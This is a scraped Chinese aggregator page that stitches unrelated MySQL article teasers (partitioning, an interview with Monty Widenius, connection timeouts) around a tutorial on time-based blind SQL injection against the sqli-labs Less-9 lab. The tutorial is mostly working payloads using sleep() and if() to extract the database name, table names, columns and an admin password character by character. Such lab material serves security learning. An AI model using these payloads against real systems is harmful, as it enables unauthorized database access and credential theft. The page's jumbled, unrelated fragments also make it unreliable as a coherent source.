MySQL分割数据
引言一般来说讲,提到数据拆分,可以归结为两个层面:一是垂直拆分,二是水平拆分。这里我们来讨论下垂直拆分。垂直拆分是以数据库、表、列等为单位进行拆分的方法。正文MySQL里垂直拆分可以细分为:垂直拆库(...
2024.11.15生活不止眼前的苟且,还有房费、饭费、水电费。。。
---- 网易云热评
一、常用函数
1、sleep(5):延时5秒
2、if(a,b,c):a为条件,正确返回b,否则返回c
二、实例测试
1、找到可以注入的payload,服务器反映5秒才有响应
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(5) --+2、获取数据库长度,如果数据库名的长度等于8停留5秒
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((length(database())=8),5,0)) --+3、获取数据库名称的每个字母,如果判断正确停留5秒,最后知道数据库名字为"security"
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid(database(),1,1)=‘s‘),5,0)) --+ http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid(database(),2,1)=‘e‘),5,0)) --+4、获取数据库中的表名,最后得出一个表为users
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)=‘u‘),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1)=‘s‘),5,0)) --+5、获取users表中的字段,最后得出一个password字段
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select column_name from information_schema.columns where table_name=‘users‘ limit 13,1),1,1)=‘p‘),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select column_name from information_schema.columns where table_name=‘users‘ limit 13,1),2,1)=‘a‘),5,0)) --+6、获取password字段内容,最终获取一个名为admin的内容
http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select password from users limit 7,1),1,1)=‘a‘ ),5,0)) --+http://192.168.139.129/sqli/Less-9/?id=1‘ and sleep(if((mid((select password from users limit 7,1),2,1)=‘d‘ ),5,0)) --+禁止非法,后果自负
引言一般来说讲,提到数据拆分,可以归结为两个层面:一是垂直拆分,二是水平拆分。这里我们来讨论下垂直拆分。垂直拆分是以数据库、表、列等为单位进行拆分的方法。正文MySQL里垂直拆分可以细分为:垂直拆库(...
2024.11.15作者 | 李冬梅采访嘉宾 | Monty,MySQL 之父审校 | 王一鹏,刘燕InfoQ 深度专访 “MySQL 之父” — Michael “Monty” Widenius ,全文包括视频访谈实录...
2024.11.12000:前言对于MYSQL知识的一个初总结001:正文MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只过滤了select,那么...
2024.11.15欢迎大家关注今日头条号「JAVA前线」查看更多精彩分享文章,主要包括源码分析、实际应用、架构思维、职场分享、产品思考1 错误原因1.1 两个参数MySQL服务端两个参数控制连接超时时间:wait_ti...
2024.11.15MySQL体积小、速度快,性能优异,是目前企业实际开发中最广泛应用的数据库之一。它不仅易学,开发成本低,而且90%以上的数据库操作都跟通用的SQL语法一致,掌握MySQL后再学习其他类似数据库会简单很...
2024.11.07